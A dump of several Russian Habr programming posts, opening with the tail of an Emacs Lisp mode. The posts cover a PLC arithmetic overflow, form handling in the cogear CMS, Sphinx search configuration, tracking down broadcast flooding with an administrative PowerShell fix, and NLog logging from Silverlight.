'("\C-s ?\C-m ?\C-w ?\C-k ?\M-\\ ?\C-e ?\M-\\ ?\C-j ?\C-s ?c ?l ?a ?s ?s ?= ?\" ?t ?i ?m ?e ?s ?t ?a ?m ?p ?\C-m ?\C-w ?\C-s ?l ?a ?b ?e ?l ?\C-m ?\C-w ?\C-s ?> ?\C-m ?\C-w ?\C-s ?< ?\C-b ?\C-j] 0 "%d"))
;; Вставляет заголовок таблицы
(add-to-list 'kmacro-ring
'("|id|Url|S|Desc|Time|\C-j|-\C-j||||<40>||\C-m\C-a" 0 "%d"))
;; Преобразует тройку (ссылка, описание, время) в строку таблицы
(add-to-list 'kmacro-ring
'("|\C-x\C-k\C-i|[[\C-e][link]]|-|\C-k\C-e|\C-k\C-e|\C-e\C-n\C-a" 1 "%d"))
)
(defvar youtube-mode-map
(let ((map (make-sparse-keymap)))
(define-key map (kbd "C-c m y m g") 'youtube-make-macro-general)
(define-key map (kbd "C-c m y m p") 'youtube-make-macro-playlist)
map)
"Keymap for `youtube-mode'.")
(define-minor-mode youtube-mode
"Mode for `https://www.youtube.com'.
\\{youtube-mode-map}"
nil
" YouTube"
nil
(if youtube-mode
(progn
(youtube-make-macro-general)
(add-to-list 'yas-extra-modes 'youtube-mode)
(yas-minor-mode t))
(progn
(set 'yas-extra-modes (delete 'youtube-mode yas-extra-modes)))))
(provide 'youtube-mode)
```
Пора отправлять отряды на большую войну
=======================================
*Смеркалось. На улице шёл дождь, в три часа ночи орки напали на людей. Катапульты били по башням, первый отряд пошёл на прорыв, загребая на себя рыцарей, берсеркеры лупили по любой подмоге, прущей к катапультам, и только маленький строитель у всех за спинами потихоньку строил башенки для первого укреплённого блок-поста.* | https://habr.com/ru/post/281499/ | null | ru | null |
# Арифметическое переполнение в ПЛК AllenBradley
Недавно на работе столкнулись с интересной ситуацией, о которой захотелось написать тут, потому что случай довольно интересный, хотя как и оказалось простой. На одном из агрегатов, управляемым контроллером от Allen Bradley Compact Logix L33ER, в контроллере постоянно сыпались предупреждения, а точнее даже минорные ошибки (Minor Faults) - которые на функциональность никак не влияют, но раздражают своим присутствием. В секунду по нескольку десятков таких ошибок без перерыва: Type 04 Program fault (Code 04) Arithmetic overflow. Result of an arithmetic instruction out of range, что переводится примерно как "Арифметическое переполнение. Результат арифметической инструкции вышел за предел."
Окно с ошибкамиПроблема возникает в одной подпрограмме, в двух разных местах (Rung 0 и 37), где вызывается один и тот же блок, то есть проблема именно в этом блоке Penetration Control, потому как исключив из программы вызов блока, ошибки прекратились совсем
Внутри этого блока скрывается формула:
```
Bend_Radius := ((2.0*Penetration*Material_Gage)-(Penetration **2.0)-(Material_Gage **2.0)-(Roll_Spacing **2.0/4.0))/(4.0*(Penetration-Material_Gage));
Yield_Percent :=1.0-((Bend_Radius*2.0*Material_Yield)/(Modulus_Of_Elasticity*Material_Gage));
IFBend_Radius > 0.0
THEN
Bending_Loss :=(3.0*Material_Width*Material_Yield*Material_Gage**2.0)/(2.0*Bend_Radius)*(1.0+(1.0/(86.3-(88.0*Yield_Percent))));
ELSE
Bending_Loss := 0.0;
END_IF;
```
Первоначальное предположение было, что слишком много знаков после запятой у всех этих Material\_Gage или Material\_Width, а после возведения в квадрат так и вообще количество знаков становится еще больше. Конечно же REAL тип данных позволяет хранить очень много знаков, и более того, как я понимаю ему все равно сколько там будет этих знаков, он сохранит число, просто с потерей точности, но вызывать ошибки это не должно было бы. Но так как проверить эту гипотезу проще всего, то попробовали немного уменьшить точность вычислений, округлив числа до 2-3 знаков после запятой. Кстати такие странные числа, что на скрине, получаются по причине того, что миллиметры переводятся в дюймы, а другие метрические единицы переводятся в неметрические. В итоге фокус с уменьшением точности ни к чему не привел, ошибки так и продолжали сыпаться.
Тут просто еще одна безуспешная попыткаНемного пробовали повозиться с типами данных. DoubleInt не подошел - может диапазон и больше (8 байт вместо 4, поидее), но сохраняет он только целые числа. Но зато проверили что контроллеру по барабану, что в целочисленный тип хотят сохранить число с плавающей точкой, он просто тупо его округляет (видимо автоматом преобразуется)
А вот идея с выяснением на каком этапе вычислений происходит переполнение, дала свои плоды. Выяснилось что проблема в самой первой формуле, где как раз много возведений во вторую степень. После замены всех Х \*\*2.0 на Х \* Х, в первой формуле - ошибки перестали сыпаться. Дальше было уже интересно а какой именно параметр дает такой сбой. И в итоге получилось что Penetration \*\* 2.0 вызывает переполнение, а Penetration \* Penetration нет. Отличие Penetration от других переменных в том, что это число отрицательное. Как только меняем его на положительное число, то ошибок нет, отрицательное - сразу валятся.
Вот такой интересный кейс получился. Я подозреваю что это переполнение связано с ошибкой в прошивке контроллера: возможно неправильно парсится выражение, или еще что. Может быть используются разные инструкции в процессоре, для разного вида записей. Потому я и написал об этом тут, может кто подскажет что это может быть, мне просто интересно. А возможно кто-то столкнется с чем-то подобным и через гугл найдет эту запись, и сможет сразу у себя в проекте пофиксить такую ошибку переполнения без лишних телодвижений.
UPD Благодаря наводке из комментариев, за что очень сильно благодарен комментаторам, я решил все-таки обратиться к мануалу, хотя с этого наверно и стоило начать. В мануале описания для инструкции возведения в квадрат нет, зато есть инструкция для возведения в степень. В блочном виде (Ladder Diagram) это блок XPY (X to the Power of Y), в структурном тексте (ST) как раз и есть та самая инструкция dest := sourceX \*\* sourceY; И на следующей странице мануала так и пишется **If Source X is negative, Source Y must be an integer value or a minor fault will occur.**
 | https://habr.com/ru/post/701806/ | null | ru | null |
# Работа с формами
Известное дело — разработку любого веб-приложения можно поделить на этапы, а сами этапы — на типовые задачи. Одной из наиболее часто встречающихся типовых задач является *работа с формами*. Каждый раз, когда программисту приходится сталкиваться с ней, можно словить некоторое уныние, если надоевшая рутина не оформлена подобающим образом. Прежде, чем уйти под кат, покажу вам, как реализована работа с формами в [cogear](http://cogear.ru "cogear — система управления сайтами"):
> `$this->form->set('add-comments')
>
> ->input('subject',array('validation' => 'required|max\_length[80]'))
>
> ->editor('body',array('validation'=>'required|min\_length[5]'))
>
> ->buttons('send');
>
> if($result = $this->form->result()){
>
> if($this->form->save('comments',$result)){
>
> redirect('/node\_url');
>
> }
>
> }
>
> $this->form->compile();
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Выше показана наиболее простая, но очень эффективная форма работы, простите за каламбур, с формами.
#### Один код в ответе за все
Нет нужды создавать отдельные методы контроллера для ловли данных — все функции на себя берет один кусочек кода.
Первым делом мы задаем **id** формы, который пригодится нам при использовании хуков или же при ином деле.
> `$this->form->set('add-comments')
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
После этого цепочкой задаются элементы и их параметры, а также кнопки формы.
> `// Добавляем поле типа "текст"
>
> ->input('subject', array('validation' => 'required|max\_length[80]'))
>
> // Добавляем поле типа "редактор"
>
> ->editor('body',array('validation'=>'required|min\_length[5]'))
>
> // Задаем кнопки
>
> ->buttons('send');
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
> Сразу же небольшое отступления для ответов на возможные вопросы:
>
> 1. При формировании вывода *label* к элементу берется на основании указанной, либо общей переменной перевода (общие хранятся в разделе *edit*).
>
> Допустим, у нас есть языковой файл, в котором заданы названия и описания наших полей.
>
>
> > `[my\_form]
> >
> > subject = "Заголовок комментария"
> >
> > subject\_description = "Укажите заголовок комментария. Не более 80 символов."
> >
> > body = "Текст"
> >
> > body\_description = "Текст комментария не должен быть слишком коротким – от 5 символов и больше, пожалуйста."`
> >
> >
>
>
>
>
> > `// Функция-ярлык для задания текущего раздела классу i18n
> >
> > d('my\_form');
> >
> > $this->form->set('add-comments')
> >
> > ->input('subject', array('validation' => 'required|max\_length[80]'))
> >
> > ->editor('body',array('validation'=>'required|min\_length[5]'))
> >
> > ->buttons('send');
> >
> > if($result = $this->form->result()){
> >
> > if($this->form->save('comments',$result)){
> >
> > redirect('/node\_url');
> >
> > }
> >
> > }
> >
> > $this->form->compile();
> >
> >
> >
> > \* This source code was highlighted with Source Code Highlighter.`
>
>
>
>
>
> Если перед выводом формы задать текущий раздел переводов, то на выходе мы получим форму следующего вида:
>
> 
>
>
>
> 2. Обработка ошибок идет автоматически на базе указанных правил. Никаких дополнительных действий с вашей стороны не требуется.
#### Работа с ошибками
Вы отправляете форму, и если валидация не проходит, форма выводится по-новой с отображением ошибок.
Можно усовершенствовать форму, добавив валидацию на **JavaScript** до ее отправки.
> `// Функция-ярлык для задания текущего раздела классу i18n
>
> d('my\_form');
>
> $this->form->set('add-comments')
>
> ->input('subject', array('validation' => 'required|max\_length[80]','js\_validation'=>'required|length[5,80]'))
>
> ->editor('body',array('validation'=>'required|min\_length[5]','js\_validation'=>'required|length[5,-1]'))
>
> ->buttons('send');
>
> if($result = $this->form->result()){
>
> if($this->form->save('comments',$result)){
>
> redirect('/node\_url');
>
> }
>
> }
>
> $this->form->compile();
>
> \* This source code was highlighted with Source Code Highlighter.`
Обновив страницу увидим, что теперь скрипты не дадут нам отправить форму до того, как она будет заполнена корректно.
Если вы уже задались вопросом, почему отличаются правила для пре- и пост-валидации, отвечаю:
— Для пре-валидации используется доработанный класс [MooTools.Floor Form Check](http://mootools.floor.ch/docs/formcheck/files/formcheck-js.html).
— Для пост-валидации используется доработанная [библиотека](http://codeigniter.com/user_guide/libraries/form_validation.html) **CodeIgniter** (который лежит в основе движка).
Напоследок приведу более развернутый пример — с упрощенным созданием/редактированием топиков.
> `…
>
> class Index extends Controller{
>
> …
>
> /\*\*
>
> \* Создание и редактирование топиков.
>
> \*
>
> \* @param int $id id топика
>
> \* @return void
>
> \*/
>
> function createdit($id = FALSE){
>
> // Функция-ярлык для задания текущего раздела классу i18n
>
> d('node\_edit');
>
> // Определяем, существует ли топик
>
> if($id && $node = $this->db->get\_where('nodes',array('id'=>$id))->row()){
>
> /\*
>
> \* Если топик существует задаем иной заголовок страницы
>
> \* Строка перевода выглядит следующим образом
>
> \* …
>
> \* edit = "Редактирование топика '%s'"
>
> \* …
>
> \*/
>
> title(t('edit',$node->name));
>
> }
>
> else {
>
> // Можно указать раздел перевода и явным образом
>
> title(t('node\_edit create'));
>
> }
>
> // Задаем имя формы
>
> $this->form->set('node-createdit')
>
> // Добавляем поле типа "текст"
>
> ->input('subject', array('validation' => 'required|max\_length[80]','js\_validation'=>'required|length[-1,80]'))
>
> // Добавляем поле типа "редактор"
>
> ->editor('body',array('validation'=>'required|min\_length[5]','js\_validation'=>'required|length[5,-1]'))
>
> // Задаем кнопки
>
> // Если топик не сущесвует или мы не в режим редактирования, то будет отображена кнопка "Сохранить" вместо "Создать".
>
> ->buttons(empty($node) ? 'create' : 'save');
>
>
>
> // Если топик существует — заполняем форму его значениями
>
> if(!empty($node)){
>
> $this->form->set\_values($node);
>
> }
>
> // Ловим результат обработки формы
>
> if($result = $this->form->result()){
>
> // Если топик существует — обновляем его
>
> if(!empty($node) && $this->form->update('nodes',$result,array('id'=>$node->id)){
>
> redirect('/nodes/'.$node->id);
>
> }
>
> // Создаем новый топик
>
> elseif($this->form->save('comments',$result)){
>
> redirect('/'.$this->form->insert\_id);
>
> }
>
> }
>
> // Выводим форму
>
> $this->form->compile();
>
> }
>
> …
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Разумеется, в данном топик показаны самые простые примеры работы с формами в **cogear** — для простоты восприятия и наглядности.
Наша реализация работы с формами хорошо себя зарекомендовала за последний год — она позволяет сократить время на разработку типовых задача ввода и обработки информации до минимума. Да, в кому-то она может показаться не идеальной, но
Надеюсь, вам понравился краткий экскурс в собственные задумки.
Если есть вопрос — задавайте, если хотите продолжения — будет и оно.
Как вы организуете работу с формами? | https://habr.com/ru/post/85123/ | null | ru | null |
# Организуем релевантный поиск по разнородным данным с помощью Sphinx
В одном из текущих проектов возникла задача поиска по данным разного типа, которая была успешно решена с помощью зарекомендовавшей себя поисковой машины [Sphinx](http://www.sphinxsearch.com/ "Sphinx"), но обо всем по порядку.
### Постановка задачи
В проекте есть на данный момент 2 зоны:1. географическая зона, реализованная на базе Google Maps, которая отображает нанесенные пользователями на карту географические объекты (маркеры, маршруты и области);
2. информационная зона, которая представляет собой большой иерархически организованный каталог, содержащий информационные материалы.
Необходимо было решить задачу одновременного текстового поиска по 3-м типам объектов: географическим объектам, категориям информационной зоны и материалам информационной зоны — c возможностью фильтрации по дате публикации объектов и категориям, к которым они относятся.
### Решение задачи
Все решение описано для связки PHP5 (Symfony), MySQL, Sphinx. [Как ставить Sphinx](http://www.sphinxsearch.com/docs/current.html#installation), я описывать не буду, эту информацию можно прочитать на официальном сайте. Скажу лишь, что под Mac OS X он легко ставиться с помощью [macports](http://www.macports.org/).
Имеем такую модель БД (я ее упростил, чтобы было поближе к сути) с каким-то набором записей:
Конфигурируем sphinx для индексации и выдачи результатов поиска:
> `1. #articles
> 2. source article
> 3. {
> 4. type = mysql
> 5. sql\_host = localhost
> 6. sql\_user = root
> 7. sql\_pass = root
> 8. sql\_db = ili\_lv
> 9. sql\_sock = /tmp/mysql/mysql.sock
> 10. sql\_query\_range = SELECT MIN(id), MAX(id) FROM article
> 11. sql\_range\_step = 500
> 12. sql\_query\_pre = SET NAMES utf8
> 13. sql\_query = \
> 14. SELECT id \* 10 + 1 as id, category\_id, 1 as row\_type,\
> 15. UNIX\_TIMESTAMP(created\_at) as created\_at, title, descr \
> 16. FROM article WHERE id >= $start AND id <= $end
> 17. sql\_attr\_uint = category\_id
> 18. sql\_attr\_uint = row\_type
> 19. sql\_attr\_timestamp = created\_at
> 20. sql\_query\_info = SELECT title, descr \
> 21. FROM article WHERE id = ($id - 1) / 10
> 22. }
> 23. #categories
> 24. source category
> 25. {
> 26. #аналогичный блок параметров подключения к БД
> 27. #...
> 28. sql\_query\_range = SELECT MIN(id), MAX(id) FROM category
> 29. sql\_range\_step = 500
> 30. sql\_query\_pre = SET NAMES utf8
> 31. sql\_query = \
> 32. SELECT id \* 10 + 2 as id, tree\_parent as category\_id, 2 as row\_type,\
> 33. UNIX\_TIMESTAMP(created\_at) as created\_at, title, descr \
> 34. FROM category WHERE id >= $start AND id <= $end
> 35. sql\_attr\_uint = category\_id
> 36. sql\_attr\_uint = row\_type
> 37. sql\_attr\_timestamp = created\_at
> 38. sql\_query\_info = SELECT title, descr \
> 39. FROM category WHERE id = ($id - 2) / 10
> 40. }
> 41. #geo\_objects
> 42. source geo\_object
> 43. {
> 44. #аналогичный блок параметров подключения к БД
> 45. #...
> 46. sql\_query\_range = SELECT MIN(id), MAX(id) FROM geo\_object
> 47. sql\_range\_step = 500
> 48. sql\_query\_pre = SET NAMES utf8
> 49. sql\_query = \
> 50. SELECT id \* 10 + 3 as id, 0 as category\_id, 3 as row\_type,\
> 51. UNIX\_TIMESTAMP(created\_at) as created\_at, title, descr \
> 52. FROM geo\_object WHERE id >= $start AND id <= $end
> 53. sql\_attr\_uint = category\_id
> 54. sql\_attr\_uint = row\_type
> 55. sql\_attr\_timestamp = created\_at
> 56. sql\_query\_info = SELECT title, descr \
> 57. FROM geo\_object WHERE id = ($id - 3) / 10
> 58. }
> 59. index site\_search
> 60. {
> 61. source = category
> 62. source = geo\_object
> 63. source = article
> 64.
> 65. path = /var/data/sphinx/site\_search
> 66. docinfo = extern
> 67. morphology = stem\_en, stem\_ru
> 68. html\_strip = 0
> 69. charset\_type = utf-8
> 70. min\_word\_len = 2
> 71. }
> \* This source code was highlighted with Source Code Highlighter.`
Чуть по-подробнее о параметрах конфигурации. Разделы source, как понятно из названия, задают хранилища данных, откуда будет извлекаться индексируемая Sphinx информация. Такими хранилищами могут быть базы данных, текстовые файлы, html-файлы, xml и даже почтовые ящики. Этот раздел также описывает, какие поля хранилища будут индексироваться, в каком формате будет производиться индексация (выборка разовая или порционная) и ряд других параметров. В моем случае описано 3 source, все они ведут в одну и ту же базу данных MySQL, но в разные таблицы.
Форматы конфигураций похожи, я опишу **source article**.
> `1. sql\_query\_range = SELECT MIN(id), MAX(id) FROM article
> 2. sql\_range\_step = 500
> \* This source code was highlighted with Source Code Highlighter.`
Этими строками мы «указываем» Sphinx делать выборку из таблицы не полным select-ом, а порциями по 500 записей, чтобы не создавать избыточную нагрузку при индексации.
> `1. sql\_query = \
> 2. SELECT id \* 10 + 1 as id, category\_id, 1 as row\_type,\
> 3. UNIX\_TIMESTAMP(created\_at) as created\_at, title, descr \
> 4. FROM article WHERE id >= $start AND id <= $end
> \* This source code was highlighted with Source Code Highlighter.`
Это маска запроса, отправляемого Sphinx при индексации данных. Здесь важно 3 момента:
* Определяется набор полей для индексации, в нашем случае это id, текстовые поля и поля-фильтры;
* Первое поле используется Sphinx-ом как id в формируемом индексе. Т.к. id из разных таблиц могут совпадать, то применен такой метод формирования уникального id;
* Поле row\_type дает возможность определить, какого типа каждая из сохраненных записей в индексе Sphinx.
Далее идет описание атрибутов, которые можно использовать в качестве фильтров
> `1. sql\_attr\_uint = category\_id
> 2. sql\_attr\_uint = row\_type
> 3. sql\_attr\_timestamp = created\_at
> \* This source code was highlighted with Source Code Highlighter.`
Ну и последний параметр — это маска запроса, который будет извлекать нужную нам информацию по найденным id:
> `1. sql\_query\_info = SELECT title, descr \
> 2. FROM geo\_object WHERE id = ($id - 1) / 10
> \* This source code was highlighted with Source Code Highlighter.`
Далее в конфигурационном файле описывается самое важное — параметры индексации указанных нами source-ов с помощью секции **index**.
> `1. source = category
> 2. source = geo\_object
> 3. source = article
> \* This source code was highlighted with Source Code Highlighter.`
Очень важный момент — индекс может формироваться из нескольких source. Как показано выше, в индекс сливаются данные из трех таблиц. Представьте, как пришлось бы попотеть, чтобы организовать такой поиск с помощью БД! Здесь же мы просто можем делать запрос к данному индексу, получая при этом его отранжированные результаты.
Строчками
> `1. path = /var/data/sphinx/site\_search
> 2. docinfo = extern
> \* This source code was highlighted with Source Code Highlighter.`
указываются параметры хранения индекса и полный путь к нему.
В чем еще одна прелесь Sphinx — он «из коробки» поддерживает английскую и русскую морфологию, позволяя приводить слова запроса к нормальной форме. При необходимости эту функциональность [можно расширить](http://www.sphinxsearch.com/docs/current.html#conf-morphology).
> `1. morphology = stem\_en, stem\_ru
> \* This source code was highlighted with Source Code Highlighter.`
Оставшиеся три параметра отвечают за вырезание html-тегов, кодировку индекса и минимальную длину слова соответственно.
Далее осталось только запустить индексацию.
> `1. **muxx:~ muxx$ sudo searchd --stop**
> 2. Sphinx 0.9.8.1-release (r1533)
> 3. Copyright (c) 2001-2008, Andrew Aksyonoff
> 4. using config file '/usr/local/etc/sphinx.conf'...
> 5. stop: succesfully sent SIGTERM to pid 5677
> 6. **muxx:~ muxx$ sudo indexer --all**
> 7. Sphinx 0.9.8.1-release (r1533)
> 8. Copyright (c) 2001-2008, Andrew Aksyonoff
> 9. using config file '/usr/local/etc/sphinx.conf'...
> 10. indexing index 'site\_search'...
> 11. collected 759 docs, 0.0 MB
> 12. sorted 0.0 Mhits, 100.0% done
> 13. total 759 docs, 22171 bytes
> 14. total 0.028 sec, 785871.25 bytes/sec, 26903.45 docs/sec
> 15. **muxx:~ muxx$ sudo searchd**
> 16. Sphinx 0.9.8.1-release (r1533)
> 17. Copyright (c) 2001-2008, Andrew Aksyonoff
> 18. using config file '/usr/local/etc/sphinx.conf'...
> 19. creating server socket on 127.0.0.1:3312
> 20. **muxx:~ muxx$ search мой сложный запрос**
> 21. Sphinx 0.9.8.1-release (r1533)
> 22. Copyright (c) 2001-2008, Andrew Aksyonoff
> 23. using config file '/usr/local/etc/sphinx.conf'...
> 24. index 'site\_search': query 'мой сложный запрос ': returned 0 matches of 0 total in 0.000 sec
> 25. words:
> 26. 1. 'мо': 0 documents, 0 hits
> 27. 2. 'сложн': 0 documents, 0 hits
> 28. 3. 'запрос': 0 documents, 0 hits
> 29. muxx:~ muxx$
> \* This source code was highlighted with Source Code Highlighter.`
В листинге выше мы сначала останавливаем демон на случай, если он запущен. Затем выполняем индексацию. Можно увидеть, насколько высока скорость индексации у Sphinx.
**//** В комментариях подсказали, что можно производить индексирование, не останавливая демон командой **sudo indexer --rotate --all**.
Затем запускаем демон и выполняем пробный запрос. Sphinx показывает, как он разбивает запрос и нормализует слова в нем. В моем примере он отработал нормально, но ничего не нашел :)
После того, как удостоверились, что демон работает, можно работать со Sphinx из Symfony.
Устанавливаем плагин [sfSphinxPlugin](http://www.symfony-project.org/plugins/sfSphinxPlugin), подключаем его в конфигурациях:
> `1. $this->enablePlugins(array('sfSphinxPlugin'));
> \* This source code was highlighted with Source Code Highlighter.`
и пишем небольшой пример запроса к демону:
> `1. $sphinx = new sfSphinxClient($options);
> 2.
> 3. //устанавливаем числовые фильтры, если они заданы
> 4. if ($request->getParameter('category\_id'))
> 5. $sphinx->setFilter('category\_id', array($request->getParameter('category\_id')));
> 6. if ($request->getParameter('row\_type'))
> 7. $sphinx->setFilter('row\_type', array($request->getParameter('row\_type')));
> 8. $dateRange = $request->getParameter('date');
> 9. if ($dateRange['from'] || $dateRange['to'])
> 10. {
> 11. $sphinx->setFilterRange('created\_at',
> 12. !empty($dateRange['from']) ? strtotime($dateRange['from']) : '',
> 13. !empty($dateRange['to']) ? strtotime($dateRange['to']) : '');
> 14. }
> 15. $this->results = $sphinx->Query($request->getParameter('s'), 'site\_search');
> 16. if ($this->results === false)
> 17. {
> 18. $this->message = 'Запрос не выполнен: ' . $sphinx->GetLastError();
> 19. }
> 20. else
> 21. //если все путём, то достаем информацию по id индекса
> 22. //и выводим ее в template
> 23. $this->items = $this->retrieveResultRows($this->results);
> \* This source code was highlighted with Source Code Highlighter.`
Надеюсь, из моего описания можно оценить все прелести Sphinx, я рассказал далеко не обо всех его возможностях, остальное при желании вы уже сможете самостоятельно изучить.
**PS:** Просьба к тем у кого достаточно кармы — создайте блог Sphinx, я бы перенес туда статью.
**PS2:** Спасибо всем! Блог создан, топик перенесен туда. | https://habr.com/ru/post/47908/ | null | ru | null |
# Побеждаем широковещательный флуд в корпоративной локальной вычислительной сети
#### Симптомы
Случилось у нас в организации, страшное дело – сеть работала, работала и вдруг, вроде без особых на то причин, стала работать нестабильно. Выглядело всё это очень странно (впервые столкнулся с проблемой сабжа) – некоторые компьютеры в сети (их небольшое количество) перестали получать IP-адреса (в логах пишут, что не получен ответ от DHCP), причем с утра одни, с обеда другие – пользователи звонят, волнуются, а мы ничего понять не можем.
Если это аппаратный сбой, то должен он по всем канонам, в каком-то одном месте находится, или хотя бы более массово проявляться (как например, с кольцом в Ethernet), а тут какие-то редкие всплески (примерно 5 из 300), а в целом все работает. Более детальный анализ географии больных компьютеров, показал, что они находятся на коммутаторах 3 и более очереди, от шлюза (рисунок 1).
Рисунок 1. География проблемы.
#### Поиск и выявление
От гипотезы проблемы с железом, отказались не сразу – отключали нижестоящие коммутаторы, и вроде бы получали более-менее кратковременное улучшение, но проблема до конца не исчезала.
Естественно возникла версия, что это некий вирус на ПК – мешает им получать IP-адрес. Она была отвергнута после, того как адрес не получил сетевой принтер. Как оказалось зря (точнее почти зря).
Параллельно с этим пытались анализировать трафик, но из-за неопытности специалистов, анализировался только трафик DHCP.
Итак, первые несколько дней решения проблемы не принесли. Пришлось расширять поле зрение сниффера. И вот в этот момент причина проблемы была обнаружена – при анализе всего широковещательного трафика, обнаружилось, что более 80% запросов ищут, некий сервер – в смысле один и тот же.
Как. позже мы почерпнули из интернета, называется данная проблема широковещательный флуд.
Эх… если бы знать об этом раньше.
Выяснилось, что некая служба под названием «PcounterPrint», очень истерично пытается найти свой сервер, которого как это ни странно нет. Служба ведет аудит печати сотрудников корпорации, и известна в миру под названием FollowMe Printing. Как выяснилось позже – сервер данной службы был успешно выведен из эксплуатации, естественно без какого либо уведомления, вышестоящими корпоративными системными администраторами.
По сути ПК пользователей выступили в качестве ботов, для DDOS-атаки нашего сетевого оборудования.
Дело осталось за малыми задушить эту службу на ПК пользователей.
#### Массовое удаление
По хорошему, нужно было эту задачу отдать вышеописанным системным администраторам, но ведь и самим интересно и вот, после 25-минутных поисков в интернет рожден скрипт в power-shell:
**Здесь код скрипта**
```
main
function main
{
$computers = Get-Content C:\Scripts\Computers.txt
$service = "PcounterPrint"
foreach ($computer in $computers)
{
(Write-Host "computer - $computer")
if (ping-host $computer)
{
$srv = (gwmi win32_service -computername $computer -filter "name='$service'")
if ($srv -ne $null)
{
$result = $srv.stopservice()
$result = $srv.ChangeStartMode("Disabled")
(Write-Host "Service is disabled")
}
else
{ (Write-Host "No service") }
}
else
{ (Write-Host "No host") }
}
}
function ping-host
{
param($computer)
$status = Get-WmiObject -Class Win32_PingStatus -Filter
"Address='$computer'"
if( $status.statuscode -eq 0) { return 1 }
else { return 0 }
}
```
Переменная $computers получает список компьютеров из файла, скрипт последовательно обходит все ПК из этого списка, и отключает на них злополучную службу.
Далее проверяем широковещательный трафик сниффером, если кто-то остался – корректируем список, и выполняем скрипт повторно, и так делаем несколько итераций, до полного удаления зловредного трафика.
Естественно, после этого сеть заработала стабильно.
#### Выводы
Как говорится в одном, известном, преферансистском анекдоте: так за это же нужно канделябром по голове…
В общем, административные выводы, я здесь писать не буду, хотя в основном напрашиваются именно они.
С технической точки, зрения, есть несколько мероприятий для профилактики, этой беды:
1. Сегментировать сеть на несколько виртуальных сетей
2. Уменьшить с помощью первого пункта глубину сети
3. Установить более умные коммутаторы
Хотя это конечно мероприятия эти спорны: а надо ли, ведь придется тратить время и деньги, тем более что персонал теперь знаком с данной ситуацией и в последующем, сможет быстро ее победить, хотя как знать… | https://habr.com/ru/post/162135/ | null | ru | null |
# Используем NLog 2.0 в Silverlight или как я стал опенсорсником
Началось все достаточно банально — с того, что мне понадобился logging в моем проекте на Silverlight.
Под «взрослым» .NET-ом я всегда пользовался NLog-ом от Ярека Ковальского. А почему не log4net, спросят многие из вас.
Все, конечно, достаточно субъективно, ну да ладно.
На вкус и цвет, фломастеры и пластилин, но NLog просто-напросто лучше. Чтобы не быть голословным, приведу несколько убойных критериев…
* Удобная конфигурация. После log4net — как глоток свежего воздуха.
* Библиотека написана профессионалом .NET платформы для .NET платформы, это видно по исходникам и архитектуре. Тот же log4net, судя по исходникам, это банально перекомпилированный под .NET явовский код, с исправленными ошибками синтаксиса (ведь C# не совсем Java ;)
* Проект активно развивается. На днях вышла первая бета NLog 2.0 c поддержкой всех .NET стеков, включая Mono, Silverlight и CF. Тот же log4net, судя по check-in-ам, остановился в своем развитии в лохматом 2003 году.
На этом сравнения закончим и перейдем непосредственно к решению.
1. Скачиваем [NLog 2.0 beta 1](http://nlog.codeplex.com/releases/view/52957), устанавливаем.
2. Добавляем в наш Silverlight проект ссылку на NLog.dll. У меня стоят Productivity Power Tools для VS.NET 2010, там такой симпатишный новый диаложек для добавления ссылок на сборки, автоматом находит правильную ссылку на Silverlight-версию NLog.
3. Добавляем в проект New Item -> NLog | Console NLog Config. Получаем в проекте новый файл под названием NLog.config. Это статическая конфигурация нашего логгирования. Убедитеcь, что Build Action у этого файла стоит в режим Content. Я было попытался закинуть его в ресурсы, потом при старте прочитать и проинициализировать конфигурацию. Оказывается, NLog делает это все за нас. Главное, config-файл должен находится в корне проекта, а Build Action -> Content. Как я уже сказал, конфигурация статическая, т.е. NLog.config хранится в xap-архиве и изменениям, без лишних телодвижений, не подлежит. Ни о каком автоматическом обновлении конфигурации логгирования при изменении NLog.config, как в случае с настольными .NET приложениями, речи не идет.
4. Логирование в файл из простого Silverlight приложения невозможно. Другое дело, если у нас full-trust, но этот режим по моему разумению изначально ненормален. Поэтому будем логировать на удаленную машину по сети. Клиентом будет служить широко известный в узких кругах пользователей log4net клиент [Log2Console](http://log2console.codeplex.com/).
Итак, пишем:
`static readonly Logger _log = LogManager.GetCurrentClassLogger();`
а потом:
`_log.Debug("Привет {0} из NLog", DateTime.Now);`
Здесь меня ожидало небольшое разочарование. Оказывается, Silverlight не поддерживает UDP-sockets. Соответственно, UDP-Receiver из Log2Console, которым раньше можно было слушать NLog, в Silverlight бесполезен. Silverlight поддерживает TCP-sockets, но TCP-Receiver в Log2Console не обнаружен. Хорошо, подумал я, поищем еще чего-нибудь в духе Log2Console, но с поддержкой TCP.
К слову, родной NLog-овский NLogViewer оказался настолько глюкавым, что его даже альфа версией назвать язык не поворачивается…
Стало быть, остается ~~подвал~~ написать самому.
Засучив рукова повыше, затянув ремень и шнурки потуже, затарившись питиём и провизионом, я погрузился в марианскую впадину программирования…
Итого за час TCP-Receiver для Log2Console был готов. Вот так выглядит конфигурация для TCP-Receiver-а в NLog.config:
Но здесь меня снова ожидало небольшое разочарование. Оказывается, Silverlight не может просто так, без особого приглашения лить данные на ваши порты. Для начала, доступно только с три десятка портов (4502-4532), да и те не простые, а требуют разрешения. А именно, целевая машина на 943 порту должна хостить специальный ClientAccessPolicy.xml файл, в котором прописано, кому достанутся орешки.
Найдя у кого-то в блогах исходники этого Policy-сервера, скомпилировав и запустив, я с удовольствием обнаружил в Log2Console свои тест-сообщения, посланные из Silverlight приложения.
На этом внимательный читатель скажет, что наступило время расслабиться. Но нет, на следующий день, постоянно забывая запустить этот Policy-сервер, я лишал себя записей в Log2Console и злился.
До коли/Досыть/Enough/Genug! — решил я и добавил в Log2Console еще один Receiver, а именно SilverlightClientAccessPolicy-Receiver. Log2Console сохраняет конфигурацию запущенных ресиверов и при перезапуске восстанавливает их, что очень удобно. Теперь я не забываю запустить Policy-сервер и не злюсь :)
Вот тут вроде бы уже и можно начинать расслабляться…
Но не тут-то было. Я списался с автором Log2Console, объяснил ему проблему и предложил решение. Ударили по ~~рукам~~ Ctrl+Enter-ам, и тут я заметил, что Log2Console использует WPF… Не то, чтобы я был сильно против… Но Log2Console — приложение под WinForms, WPF там нужен как собаке пятое колесо.
Короче говоря, в тот же вечер, хирургическим вмешательством из Win32CodePack мной был вырезан функционал Windows 7 Taskbar…
По ходу дела был так же выброшен LINQ (использовалось два метода Min/Max)…
